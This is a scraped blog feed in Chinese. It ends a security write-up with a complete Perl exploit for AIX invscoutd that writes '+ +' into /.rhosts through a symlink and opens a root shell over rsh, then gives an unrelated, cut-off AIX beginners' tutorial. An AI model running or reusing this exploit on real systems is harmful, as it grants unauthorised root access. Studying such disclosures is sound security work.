/tmp/bb* /tmp/cc*<BR>-bash-2.05b# ps -ef |grep invsc<BR>&nbsp;&nbsp; cloud 14306 15338&nbsp;&nbsp; 1 04:05:51&nbsp;&nbsp;pts/0&nbsp;&nbsp;0:00 grep invsc<BR>&nbsp;&nbsp; cloud 17150&nbsp;&nbsp;&nbsp;&nbsp; 1&nbsp;&nbsp; 0 04:03:48&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-&nbsp;&nbsp;0:00 invscoutd /tmp/cc?+ +?dd<BR>-bash-2.05b# kill -9 17150<BR>-bash-2.05b#<BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR>还看呀？！已经拉下帷幕了，都是后台操作了！<BR><BR>^_^<BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR>================================ 后记 ===============================<BR>这个漏洞在Aix4.x上也存在，去年一个罗马IBM的工程师给我讲高版本的invscoutd<BR>系统 没有这个安全bug了，但最近我重装了一个5.1 update到2004-5月出的ML06后<BR>还是有这个问题，比较奇怪 :-(<BR><BR>最后附上根据以上内容编写的利用程序 x_aix4x-5l_invscoutd.pl<BR><BR>#!/usr/bin/perl<BR># FileName: x_invscoutd.pl<BR># Exploit invscoutd of Aix4.x &amp; 5L to get a uid=0 shell.<BR># Tested&nbsp;&nbsp;: on Aix4.3.3 &amp; Aix5.1. <BR>#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Some high version of invscoutd is not affected.<BR># Author&nbsp;&nbsp;: watercloud@nsfocus.com<BR>#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; watercloud@xfocus.org <BR># Date&nbsp;&nbsp;&nbsp;&nbsp;: 2003-5-29<BR># Announce: use as your owner risk!<BR><BR>$LOG="/tmp/.ex/.hello\n+ +\nworld";<BR>$CMD="/usr/sbin/invscoutd";<BR>umask 022;<BR>mkdir "/tmp/.ex",0777;<BR><BR>print "Exploit error on kill process invscoutd !!" ,exit 1<BR>&nbsp;&nbsp;if &amp;killproc() == 0;<BR><BR>symlink "/.rhosts",$LOG;<BR>system $CMD,"-p7321",$LOG; &amp;killproc();<BR>unlink $LOG;<BR>print "\n============\nRemember to remove /.rhosts !!\n";<BR>print "rsh localhost -l root '/bin/sh -i'\n";<BR>print "waiting . . . . . .\n";<BR>system "rsh","localhost","-l","root","/bin/sh -i";<BR><BR>system $CMD,"-p808","/dev/null" ; &amp;killproc();<BR>rmdir "/tmp/.ex";<BR><BR>sub killproc() {<BR>&nbsp;&nbsp;$_=`ps -ef |grep invscoutd |grep -v grep |grep -v perl`;<BR>&nbsp;&nbsp;@proc_lst=split;<BR>&nbsp;&nbsp;$ret=kill 9,$proc_lst[1] if $proc_lst[1];<BR>&nbsp;&nbsp;$ret=-1 if ! defined $ret;<BR>&nbsp;&nbsp;return $ret;<BR>}<BR>#EOF<BR><BR>=============================================================<BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR>Game Over !<BR><BR><BR>祝大家6.1快乐 :)<BR><BR><BR><BR><BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;watercloud <BR><BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 2004-6-1 <BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR>========================<BR>原文发表在:<BR>nsfocus第48期月刊:<A href="http://www.nsfocus.net/index.php?act=magazine&amp;do=view&amp;mid=2201" target=_blank>http://www.nsfocus.net/index.php?act=magazine&amp;do=view&amp;mid=2201</A><BR>后贴于xfocus Unix hacking版: <A href="https://www.xfocus.net/bbs/index.php?act=ST&amp;f=19&amp;t=37203" target=_blank>https://www.xfocus.net/bbs/index.php?act=ST&amp;f=19&amp;t=37203</A><BR>两个版本稍有不同。 </TD></TR></TBODY></TABLE>
<DIV class=footer>Copyright &copy; 1998-2003 XFOCUS Team. All Rights Reserved </DIV>]]></description>
</item><item>
<title><![CDATA[AIX基础教程]]></title>
<link>http://blogger.org.cn/blog/more.asp?name=xueflhg&amp;id=10797</link>
<author>xueflhg</author>
<pubDate>2005/12/26 13:00:44</pubDate>
<description><![CDATA[
<TABLE cellSpacing=0 cellPadding=0 width=750 align=center border=0>
<TBODY>
<TR>
<TD class=pt vAlign=top align=middle width=649 height=60>
<P><B><FONT size=3>AIX基础教程</FONT></B><BR><BR><FONT color=#666666>2003-01-29 06:27:02 阅读
<SCRIPT src="http://www.meetchinese.com/earticles/count.cgi?id=2179;class=81"></SCRIPT>
 38219 次</FONT></P></TD>
<TD width=1 bgColor=#efefef rowSpan=3><SPACER width="1" type="block"></TD>
<TD vAlign=top align=middle width=150 bgColor=#efefef rowSpan=3>
<TABLE cellSpacing=0 cellPadding=5 width="100%" bgColor=#efefef border=0>
<TBODY>
<TR>
<TD bgColor=#bcd2e9 height=25>文章搜索</TD></TR>
<TR>
<TD bgColor=#efefef>
<DIV align=center>
<SCRIPT src="http://www.meetchinese.com/earticles/xr_html/js/search.js"></SCRIPT>

<DIV align=center>
<FORM name=search action=http://www.meetchinese.com/earticles/article.cgi method=post>
<TABLE cellSpacing=0 cellPadding=0 width="100%" border=0>
<TBODY>
<TR>
<TD width="100%" colSpan=2><INPUT maxLength=20 size=16 name=k></TD></TR>
<TR>
<TD width="70%"><INPUT type=hidden value=search name=act><SELECT size=1 name=c><OPTION value=1 selected>时事热评</OPTION><OPTION value=33>旧事重提</OPTION><OPTION value=34>谈股论金</OPTION><OPTION value=37>文艺体育</OPTION><OPTION value=61>争鸣文章</OPTION><OPTION value=62>谈天说地</OPTION><OPTION value=68>留学英语</OPTION><OPTION value=25>MCSE新手上路</OPTION><OPTION value=41>学习经验谈</OPTION><OPTION value=42>考题回忆</OPTION><OPTION value=39>轻松时刻</OPTION><OPTION value=43>微软技术讨论</OPTION><OPTION value=51>MCSD专题</OPTION><OPTION value=66>MCDBA专题</OPTION><OPTION value=26>Cisco新手上路</OPTION><OPTION value=48>Cisco技术讨论</OPTION><OPTION value=47>Cisco考题回忆</OPTION><OPTION value=49>CCIE专题</OPTION><OPTION value=105>网络方案设计</OPTION><OPTION value=52>Oracle新手上路</OPTION><OPTION value=36>数据备份</OPTION><OPTION value=73>OCP考题回忆</OPTION><OPTION value=98>Oracle技术讨论</OPTION><OPTION value=109>Oracle安装</OPTION><OPTION value=110>Application Server</OPTION><OPTION value=111>数据仓库</OPTION><OPTION value=63>Java技术</OPTION><OPTION value=64>Solaris</OPTION><OPTION value=112>Sun安装</OPTION><OPTION value=114>JSP/Servlet</OPTION><OPTION value=69>CIW认证</OPTION><OPTION value=99>Novell</OPTION><OPTION value=106>Checkpoint</OPTION><OPTION value=18>【游记发表】走走停停</OPTION><OPTION value=24>【MC王国】爱在江湖</OPTION><OPTION value=2>【cherry】天地一沙鸥</OPTION><OPTION value=3>【dnd】胡思乱想</OPTION><OPTION value=4>【GiGi】随心所欲</OPTION><OPTION value=38>【judy】岁月无双</OPTION><OPTION value=5>【may】寄语青春</OPTION><OPTION value=6>【newcomer】黑眼睛</OPTION><OPTION value=7>【qs】笑看人生</OPTION><OPTION value=8>【red_dust】红色泥土</OPTION><OPTION value=104>【yhm】秋天的童话</OPTION><OPTION value=9>【尺素】疏影集</OPTION><OPTION value=10>【高行健】灵山</OPTION><OPTION value=11>【红袖】扫叶轩</OPTION><OPTION value=12>【精华素】天使之约</OPTION><OPTION value=13>【蓝精灵】在水一方</OPTION><OPTION value=14>【猫米】猫言猫语</OPTION><OPTION value=15>【秒秒】迷离境界</OPTION><OPTION value=16>【奇奇】网女窈窕</OPTION><OPTION value=17>【特务】新月山谷</OPTION><OPTION value=20>【小水儿】爱之悟语</OPTION><OPTION value=21>【小小妖女】鬼迷心窍</OPTION><OPTION value=22>【伊可】旧爱新欢</OPTION><OPTION value=23>【一老中.SR】信马由缰</OPTION><OPTION value=28>【其它网友】精彩文章</OPTION><OPTION value=89>经典名著</OPTION><OPTION value=113>【徐风】冬天的老树</OPTION><OPTION value=29>硅谷传真</OPTION><OPTION value=30>梦说硅谷</OPTION><OPTION value=31>一起走过的日子</OPTION><OPTION value=32>活在硅谷</OPTION><OPTION value=35>W2K 安装指南</OPTION><OPTION value=44>网络技术</OPTION><OPTION value=45>文件管理</OPTION><OPTION value=46>Active Directory</OPTION><OPTION value=65>性能优化</OPTION><OPTION value=57>Windows XP专题</OPTION><OPTION value=71>故障处理</OPTION><OPTION value=72>Win2K 安全</OPTION><OPTION value=83>W2K使用技巧</OPTION><OPTION value=90>Windows NT</OPTION><OPTION value=91>DOS</OPTION><OPTION value=95>Windows ME</OPTION><OPTION value=101>实用软件</OPTION><OPTION value=93>邮件服务</OPTION><OPTION value=100>.net技术</OPTION><OPTION value=27>PHP/MySQL基础教程</OPTION><OPTION value=70>PHP/MySQL安装</OPTION><OPTION value=74>PHP网页处理</OPTION><OPTION value=75>PHP性能优化</OPTION><OPTION value=77>PHP网络功能</OPTION><OPTION value=78>PHP和数据库</OPTION><OPTION value=96>PHP图形</OPTION><OPTION value=54>ASP入门</OPTION><OPTION value=50>ASP和数据库</OPTION><OPTION value=59>ASP性能调节</OPTION><OPTION value=79>ASP技巧</OPTION><OPTION value=102>ASP程序制作</OPTION><OPTION value=67>Perl教程</OPTION><OPTION value=97>Perl编程</OPTION><OPTION value=53>HTML</OPTION><OPTION value=55>Javascript</OPTION><OPTION value=56>Dreamweaver</OPTION><OPTION value=60>SSI</OPTION><OPTION value=88>多媒体制作</OPTION><OPTION value=108>XML</OPTION><OPTION value=58>C/Visual C++</OPTION><OPTION value=76>编程基础</OPTION><OPTION value=84>Visual Basic</OPTION><OPTION value=103>C#</OPTION><OPTION value=115>Lotus Notes</OPTION><OPTION value=81>AIX</OPTION><OPTION value=80>Linux</OPTION><OPTION value=82>Unix基础</OPTION><OPTION value=86>X Window</OPTION><OPTION value=87>DB2</OPTION><OPTION value=92>Unix安全</OPTION><OPTION value=94>Unix网络</OPTION><OPTION value=107>ERP入门</OPTION><OPTION value=sap>SAP</OPTION><OPTION value=mc01>MC动态</OPTION><OPTION value=weblogic>WebLogic</OPTION><OPTION value=websphere>websphere</OPTION><OPTION value=hxtl>【红袖添乱】沁茶舞</OPTION><OPTION value=jc>金财工程</OPTION><OPTION value=plsql>PL/SQL</OPTION><OPTION value=sybase>sybase</OPTION><OPTION value=crm>CRM</OPTION><OPTION value=zs>【张珊】无泪的忧伤</OPTION><OPTION value=phy>【潘红艳】爱情棉被</OPTION><OPTION value=storage>存储技术</OPTION><OPTION value=win2003>Windows 2003</OPTION></SELECT></TD>
<TD width="30%"><INPUT type=image alt=提示:您可以搜索文章的标题、来源、作者和日期。 src="http://www.meetchinese.com/earticles/xr_html/images/search.gif" border=0 name=submit></TD></TR></FORM></TBODY></TABLE></DIV></DIV></TD></TR>
<TR vAlign=center>
<TD bgColor=#bcd2e9 height=25>近期热门文章</TD></TR>
<TR>
<TD style="WORD-BREAK: break-all">
<SCRIPT src="http://www.meetchinese.com/earticles/xr_html/js/week/class81.js"></SCRIPT>

<LI><A href="http://www.meetchinese.com/earticles/xr_html/articles/81/2179.html" target=_blank><FONT color=#000000>AIX基础教程 </FONT></A><BR>
<LI><A href="http://www.meetchinese.com/earticles/xr_html/articles/81/1142.html" target=_blank><FONT color=#000000>Aix基础知识总结 </FONT></A><BR>
<LI><A href="http://www.meetchinese.com/earticles/xr_html/articles/81/863.html" target=_blank><FONT color=#000000>AIX管理经验谈 </FONT></A><BR>
<LI><A href="http://www.meetchinese.com/earticles/xr_html/articles/81/2137.html" target=_blank><FONT color=#000000>AIX常见问题问答 </FONT></A><BR>
<LI><A href="http://www.meetchinese.com/earticles/xr_html/articles/81/2178.html" target=_blank><FONT color=#000000>AIX系统日常管理 </FONT></A><BR>
<LI><A href="http://www.meetchinese.com/earticles/xr_html/articles/81/2177.html" target=_blank><FONT color=#000000>IBM专业认证经验总结 </FONT></A><BR>
<LI><A href="http://www.meetchinese.com/earticles/xr_html/articles/81/938.html" target=_blank><FONT color=#000000>smit.log 与 smit.script 文件 </FONT></A><BR>
<LI><A href="http://www.meetchinese.com/earticles/xr_html/articles/81/2180.html" target=_blank><FONT color=#000000>AIX数据库启动和停止脚本 </FONT></A><BR>
<LI><A href="http://www.meetchinese.com/earticles/xr_html/articles/81/2239.html" target=_blank><FONT color=#000000>在AIX中设置中文环境 </FONT></A><BR>
<LI><A href="http://www.meetchinese.com/earticles/xr_html/articles/81/940.html" target=_blank><FONT color=#000000>不能增加新用户，错误信息 3004-687 </FONT></A><BR></LI></TD></TR>
<TR>
<TD bgColor=#bcd2e9 height=25>累计热门文章</TD></TR>
<TR>
<TD style="WORD-BREAK: break-all">
<SCRIPT src="http://www.meetchinese.com/earticles/xr_html/js/top/class81.js"></SCRIPT>

<LI><A href="http://www.meetchinese.com/earticles/xr_html/articles/81/1142.html" target=_blank><FONT color=#000000>Aix基础知识总结 </FONT></A><BR>
<LI><A href="http://www.meetchinese.com/earticles/xr_html/articles/81/569.html" target=_blank><FONT color=#000000>AIX管理员常用命令 </FONT></A><BR>
<LI><A href="http://www.meetchinese.com/earticles/xr_html/articles/81/863.html" target=_blank><FONT color=#000000>AIX管理经验谈 </FONT></A><BR>
<LI><A href="http://www.meetchinese.com/earticles/xr_html/articles/81/2179.html" target=_blank><FONT color=#000000>AIX基础教程 </FONT></A><BR>
<LI><A href="http://www.meetchinese.com/earticles/xr_html/articles/81/701.html" target=_blank><FONT color=#000000>AIX使用技巧点滴 </FONT></A><BR>
<LI><A href="http://www.meetchinese.com/earticles/xr_html/articles/81/2137.html" target=_blank><FONT color=#000000>AIX常见问题问答 </FONT></A><BR>
<LI><A href="http://www.meetchinese.com/earticles/xr_html/articles/81/2177.html" target=_blank><FONT color=#000000>IBM专业认证经验总结 </FONT></A><BR>
<LI><A href="http://www.meetchinese.com/earticles/xr_html/articles/81/2178.html" target=_blank><FONT color=#000000>AIX系统日常管理 </FONT></A><BR>
<LI><A href="http://www.meetchinese.com/earticles/xr_html/articles/81/938.html" target=_blank><FONT color=#000000>smit.log 与 smit.script 文件 </FONT></A><BR>
<LI><A href="http://www.meetchinese.com/earticles/xr_html/articles/81/940.html" target=_blank><FONT color=#000000>不能增加新用户，错误信息 3004-687 </FONT></A><BR></LI></TD></TR></TBODY></TABLE></TD></TR>
<TR>
<TD vAlign=top>
<TABLE cellSpacing=0 cellPadding=0 border=0>
<TBODY>
<TR>
<TD></TD></TR></TBODY></TABLE>
<TABLE cellSpacing=2 cellPadding=2 width="90%" align=center border=0>
<TBODY>
<TR vAlign=top>
<TD class=14px>AIX操作系统概述 <BR><BR>一、AIX的性能和特点： <BR><BR>1、短小强干的内核和丰富的核外系统程序 <BR><BR>AIX的设计者对系统的内核进行了精心设计，使之既简短又强干，可常驻内存。把凡是能从内核中分离出来的部分都从中分离出来，被分离出来的部分均按核外系统程序对待。 <BR><BR>2、良好的用户界面 <BR><BR>AIX向用户提供的界面功能齐备，使用方便。其中包括： <BR>命令 是用户通过键盘和显示终端与系统进行交互会话的界面。 <BR>系统调用命令 是供用户在编写应用程序时使用的界面。 <BR>X-WINDOWS 是系统与用户之间的图形界面环境。 <BR><BR>3、可装卸文件卷的文件系统 <BR><BR>AIX的整个文件系统由一个基本文件系统和若干个可装卸的子文件系统构成，它允许用户根据需要把自己的文件卷装入并与基本文件系统连接起来，不需要时可以拆卸下来。AIX的这种特点既便于扩大文件存储空间，又有利于安全和保密。 <BR><BR>4、文件、目录和各种I/O设备均作为文件统一处理 <BR><BR>为了方便用户使用，AIX将普通数据文件、目录文件和I/O设备均以文件论之，三者使用相同的保护机制，在用户面前它们具有相同的语法和语义。 <BR><BR>5、性能良好的网络环境 <BR><BR>AIX为用户提供了良好的网络环境，主要包括： <BR>一组网络通信协议，例如TCP/IP。 <BR>一组网络通信工具，例如mail, write,wall,talk等。 <BR>一组网络编程接口，例如TLI(Transport Layer Interface)和Socket等。 <BR><BR>6、完善的安全机制 <BR><BR>AIX具有完善的多级安全/保密机制，其中用户级机制的一些基本内容包括： <BR>AIX将其用户分为普通用户和特权(超级)用户，它们各自享有不同的权限。 <BR>AIX为每一个用户都建立一个户头，称之为用户帐户。系统通过用户帐户来组织和记录各用户在系统中的活动，并将其限制在一定的活动范围之内。 <BR>AIX要求每一个用户必须用合法的用户名、正确的口令进行注册，并将每一个用户都归划到某一个特定的用户组中。 <BR>AIX要求每一个用户必须按照自己拥有的权限对文件/目录进行访问，不符合权限规定的访问不被系统所接受。 <BR><BR>7、AIX用C语言编写，非常便于移植 <BR><BR><BR>二、AIX的基本结构 <BR><BR>AIX采用了内核和核外程序有机结合的总体框架。从逻辑上看，整个系统可分为五层：硬件层、内核层、系统调用层、核外程序层和外壳层。 <BR><BR>硬件层是AIX系统的基础。一方面它要为AIX提供必要的硬件支持，另一方面它又要在该系统的统一管理控制下有条不紊地工作。硬件层包括CPU、存储器、I/O设备和网络控制部件等。 <BR><BR>内核层是AIX系统的重要部分，它负责管理、支配系统中的全部资源，其中包括硬件资源、软件资源和信息资源等。AIX内核层包括中断/陷入处理，存储管理、进程管理、I/O设备管理和文件管理等部分。 <BR><BR>系统调用层是内核与核外程序的界面。核外程序通过它调用内核的子功能并为之服务。 <BR><BR>核外程序层在内核支持下工作。用户可通过外壳层对其中的程序实施控制。它主要包括核外常规系统程序、各种实用软件和用户应用程序等。 <BR><BR>外壳层是AIX系统直接面向用户的外层界面，它由Shell和X-window组成。Shell是AIX操作系统的命令语言/命令程序设计语言环境，在这个环境下用户既可使用单个Shell命令，也可编写Shell命令程序。X-window是AIX系统的图形用户界面。 <BR><BR>UNIX的一些基本概念 <BR><BR><BR>一、帐户 <BR><BR>1、普通用户帐户 <BR><BR>普通用户帐户是最常用的用户帐户。它主要涉及这一些内容： <BR>用户登录名 <BR>用户口令字 <BR>组标识符(GID) <BR>用户登录目录(Home directory) <BR>用户登录shell <BR><BR>2、超级用户帐户 <BR><BR>超级用户帐户有其固定的登录名root。超级用户拥有系统中最高权力，可以读或编辑系统中的任意一个文件，可以执行系统中任意一个程序，所以使用超级用户帐户时必须谨慎，不能随意删除或修改系统中的重要文件或其它内容。为了确保安全，超级用户帐户的口令应该由专人负责保密，并每隔一段时间更改。 <BR><BR><BR>二、文件和目录 <BR><BR>文件是UNIX系统的基本单位，共有三种不同类型的文件： <BR>普通文件 普通文件就是通常所指的程序文件和文本文件，用来存储数据。它们既可是文本的，也可是二进制的，有的还可以执行。 <BR>目录文件 目录文件包括了用来存取其它文件的信息，简称为目录。 <BR>特殊文件 一个特殊文件定义了一个先进先出(FIFO)的管道或者一个物理设备，通常指磁带、磁盘等外部设备。 <BR><BR>1、普通文件 <BR><BR>普通文件是最常用的文件，它是以字节为单位的数据信息的集合，这些文件包括文本、程序码、程序数据及可执行的二进制代码文件。每个普通文件都具有下列基本属性： <BR>一个文件名。 <BR>一个唯一的文件索引号，即i结点号。 <BR>以字节为单位的文件大小。 <BR>最近访问时间和修改时间。 <BR>一组存取权。 <BR>属主名。 <BR>属组名。 <BR><BR>使用命令ls -li可看到一个普通文件所具有的属性： <BR><BR>1234 -rwxr-xr-x 2 user group 688 NOV 27 1999 /usr/calender <BR>索引号 文件标志和存取权限 链接数 属主名 属组名 字节数 最后修改时间 文件名 <BR><BR>普通文件还可分为两类：文本文件和二进制文件。 <BR><BR>(1)、文本文件 <BR><BR>文本文件是包含用户可读信息的文件。这些文件以ASCII码方式存储，可显示和打印。文本文件的行不能包括空字符(即码中的NULL)，行的最大长度(包括换行符在内)也不能超过(LINE_MAX)所定义的字节数。不过文本文件中并不限制使用除空字符以外的控制字符或其它不可打印字符。 <BR><BR>(2)、二进制文件 <BR><BR>二进制文件是包含计算机可读信息的文件。二进制文件可以是可执行的文件，使系统根据其中的指令完成某项工作。命令和程序都是以可执行的而进制文件方式存储。二进制文件没有行的长度限制，也可包含空字符。 <BR><BR>2、目录文件 <BR><BR>目录文件是一种独特的文件类型，它只包含存取文件或其它目录时所需要的信息，通常简称为目录。目录中包含有目录项，每个目录项包含一个文件名/目录名和一个结点号。为了提高访问速度，并充分利用磁盘空间，文件中的数据存储在不同的位置。所以与一个文件相关的散列数据块的地址都包含在一个i结点中。i结点还包含有关文件的最近访问和修改时间、存取权限、链接数、文件属主及文件类型等信息。通过使用ln命令可以创建多个目录项，将不同的文件链接到同一个i结点上。 <BR>目录可以由操作系统、系统管理员、用户来定义。例如： <BR><BR>/ 根目录 <BR>/dev 包括有关输入输出设备的特殊文件 <BR>/etc 包括有关系统初始化和系统管理的文件 <BR>/home 包括系统用户的登录目录 <BR>/tmp 包括一些临时文件 <BR>/usr 包括lpp,include和其它的系统目录 <BR>/usr/bin 包括用户可执行的程序。 <BR><BR>目录结构经常被比成一棵倒置的树，称为目录数。父目录下面是子目录。 <BR><BR>3、特殊文件 <BR><BR>特殊文件事实上是指管道以及和系统相连的一些物理设备，如硬盘、终端、磁带机等。在UNIX系统中，这些特殊文件通常存放在/dev目录中。 <BR>特殊文件分为三种类型：FIFO(先进先出)管道文件、块设备特殊文件和字符设备特殊文件。 <BR><BR>FIFO管道文件是由进程创建的，并被该进程用来和另一个进程进行暂时的通信。当创建它的进程结束时，这些文件也不再存在。 <BR>块设备特殊文件则是指硬盘、软盘、磁带这样的设备，它们的记录数据是以512个字节的数据块为单位(512byts=1block)的，因此被称为块设备。(首个字母是b) <BR>字符设备特殊文件则是指打印机、终端、显示器这类设备。这些设备进行数据传输时通常以字符为单位，因此被称为字符型设备。(首个字母是c) <BR>例如： <BR><BR>brw-rw-rw 3 bin bin 2 7 NOV 19 14:00 /dev/fd0 <BR>c-w--w--w 2 bin bin 6 0 NOV 30 10:02 /dev/lp <BR>设备特殊文件 链接数 属主名 属组名 主设备号 次设备号 最后修改时间 特殊文件名 <BR><BR>其主设备号表示设备的类型，次设备号表示该设备是系统中的第几个这种设备。 <BR>几乎每个块设备都有一个字符型接口，对于这种块设备的字符型接口也有一个特殊文件与之相对应。通常是在块设备特殊文件的文件名前面加一个字母r。fd---rfd。 <BR><BR>4、文件和目录的命名 <BR><BR>(1)、文件名的长度最多为256个字符。 <BR><BR>(2)、文件名要分大小写。 <BR><BR>(3)、.表示当前工作目录；..表示当前工作目录的上一级目录；~和HOME表示用户的登录目录。 <BR><BR>(4)、*通配若干个字符；？通配单个字符；[]通配括号中任何一个字符；！通配除其后字符外的任何字符。 <BR><BR>5、文件和目录的存取权 <BR><BR>读权r数字表示4。 <BR>写权w数字表示是2。 <BR>执行权x数字表示是1。 <BR><BR><BR>三、命令 <BR><BR>1、命令、标志及参数之间要有空格。 <BR><BR>2、两个或多个命令可以在同一行输入，中间以分号；隔开。 <BR><BR>3、命令作业放在后台执行，在命令最后加上符号&amp;。 <BR><BR>4、列出以前输入的命令列表时用history。 <BR><BR>5、重复命令历史中的命令时r。 <BR><BR>6、替换命令历史中的命令字符串时用r 旧串=新串。 <BR><BR>7、创建命令别名时用alias Name=String，例如$alias dir="/usr/bin/ls -alF"。 <BR><BR><BR>使用AIX系统 <BR><BR><BR>一、系统的启动 <BR><BR>1、内部自检 <BR><BR>2、加电自检 <BR><BR>3、装入内核程序 <BR><BR>4、软件配置及初始化 <BR><BR><BR>二、注册 <BR><BR>在控制台上注册有一些选项和设置： <BR><BR>1、重新开始(Start over)按此按纽可删除原来的输入，于是可重新输入用户名，再次登录。 <BR><BR>2、选项(Options)按此按纽可选择以下几项： <BR>语言 <BR>会话 <BR>命令行注册 切换到命令行环境 <BR>重置注册屏幕 重新启动X-server <BR>用户名和口令都输入正确后，将会进入系统进行工作。 <BR><BR><BR>三、更改口令 <BR><BR>通过使用passwd命令，可以修改口令字。例如： <BR>$passwd <BR>Changing password for "User" <BR>User's Old password: <BR>User's New password: <BR>Re-enter User's new password: <BR>这样输入正确后，更改口令成功。下次注册时，须使用新的口令，才能注册成功。 <BR><BR><BR>四、目录管理 <BR><BR>1、显示当前工作目录 <BR>pwd <BR><BR>2、显示目录内容 <BR>ls [-option] [name] <BR><BR>其参数的意义分别是： <BR>-a：列出包含以 . 起始的隐藏档在内的所有文件名 <BR>-t：依照文件最后修改时间之顺序，依序列出文件名 <BR>-F：列出目前目录下之文件名及其类型。/结尾表示为目录名称，*结尾表 示为执行档，@结尾表示为 symblic link <BR>-l：列出目录下所有文件之许可权、拥有者、文件大小、修改时间及名称 <BR>-lg：同上，并显示出文件之拥有者群组名称 <BR>-R：显示出目录下，以及其所有子目录之文件名 <BR><BR>3、改变当前目录cd <BR>转到登录时的工作目录 <BR>转到指定目录 <BR>转到当前目录的上一层目录 <BR><BR>4、创建目录 <BR>mkdir Directory <BR><BR>5、删除目录 <BR>rmdir Directory <BR><BR>6、目录换名 <BR>mv SourceDirectory TargetDirectory <BR><BR>7、目录拷贝 <BR>cp SourceDirectory TargetDirectory <BR><BR><BR>五、文件管理 <BR><BR>1、文件拷贝 <BR>cp SourceFile TargetFile <BR>cp SourceFile TargetDirectory <BR><BR>2、文件删除 <BR>rm File <BR><BR>3、文件链接 <BR>ln SourceFile TargetFile <BR><BR>4、文件移动/换名 <BR>mv SourceFile TargetFile or TargetDirectory <BR><BR>5、显示文件内容 <BR>more <BR>pg <BR>cat <BR>head <BR>tail <BR><BR>6、文件查找 <BR>find / -name .profile -print <BR>find . -perm 0600 -print <BR>find . -ctime 1 -print <BR>find . -inum 2145 -print <BR>find . -user abc -print <BR><BR><BR>六、改变文件/目录属性 <BR><BR>每一个文件或目录都有一个属主、一个组名和一组存取权限、访问时间等等。 <BR><BR>1、改变文件或目录的最近访问时间 <BR>touch <BR><BR>2、改变文件或目录的属主 <BR>chown <BR><BR>3、改变文件或目录的属组 <BR>chgrp <BR><BR>4、改变文件或目录的存取权 <BR>chmod <BR>chmod g+w File <BR>chmod u+r File <BR>chmod u=rwx File <BR>chmod 755 File <BR><BR><BR>七、DOS格式文件的使用 <BR><BR>1、对磁盘进行DOS格式化 <BR>dosformat /dev/fd0 <BR><BR>2、显示DOS文件的目录 <BR>dosdir <BR><BR>3、读DOS格式文件 <BR>dosread File1 File2 <BR><BR>4、写DOS格式文件 <BR>doswrite File1 File2 <BR><BR>5、删除DOS格式文件 <BR>dosdel File <BR><BR><BR>八、进程控制 <BR><BR>1、查询进程状态 <BR>ps <BR>ps -a <BR>ps -ef <BR>ps -l <BR>ps -u uid <BR><BR>2、终止进程的执行 <BR>kill 19160 <BR>kill -9 19160 <BR><BR>3、对进程的控制 <BR>nohup <BR>nice <BR>sleep <BR>wait <BR><BR>4、在指定的时间运行程序 <BR>at <BR>batch <BR>cron /usr/bin/crontab <BR>crontab和/var/spool/cron/crontabs/ <BR><BR><BR>九、退出系统和关机 <BR>exit <BR>Ctr + d <BR>logout <BR>shutdown [ -option ] [ +time message ] <BR><BR>当shutdown不带任何参数时，机器会向连在其上的所有终端发出一条关机信息，接着在一分钟后关闭所有终端，杀掉所有在系统上运行的进程，卸除所有文件系统，最后关闭系统。 <BR><BR>你也可以在shutdown后加上一些参数，它们分别是： <BR>-F： 快速关机，没有任何警告信息 (warning) <BR>-r： 关机后重起 <BR><BR><BR>***********************AIX基础教程（中）********************** <BR>文档编辑命令 <BR>在 AIX 中，常用的文档编辑命令是 vi。 <BR>下面，我们就来学习一下有关vi的使用决 窍。 <BR><BR>在vi中，必须牢记它是有两个状态的 ---- 输入状态与命令状态。由输入状态切换 到命令状态，必须ESC键；而从命令状态转换到输入状态的命令比较多，有a， A，i，I，s，S，c，C，o和O等， <BR><BR>其次，必须掌握光标的基本移动方法。因为 AIX 的许多命令都是与光标所在的位 置相关的。请牢记，只有在命令状态下才能移动光标。你可以用方向键移动，也可 以用h，j，k，l来移动。其中，h 向左，j 向下，k向上，l向右。 <BR><BR>第三，记住基本的插入、删除命令。 <BR><BR><BR>1、插入或附加正文 <BR><BR>插入或附加正文都是向文件中加入新内容，在光标前插入字符的命令为 i ，在当前行的行头插入字符的命令为 I ，在光标后附加字符的命令为 a ，在当前行的行尾附 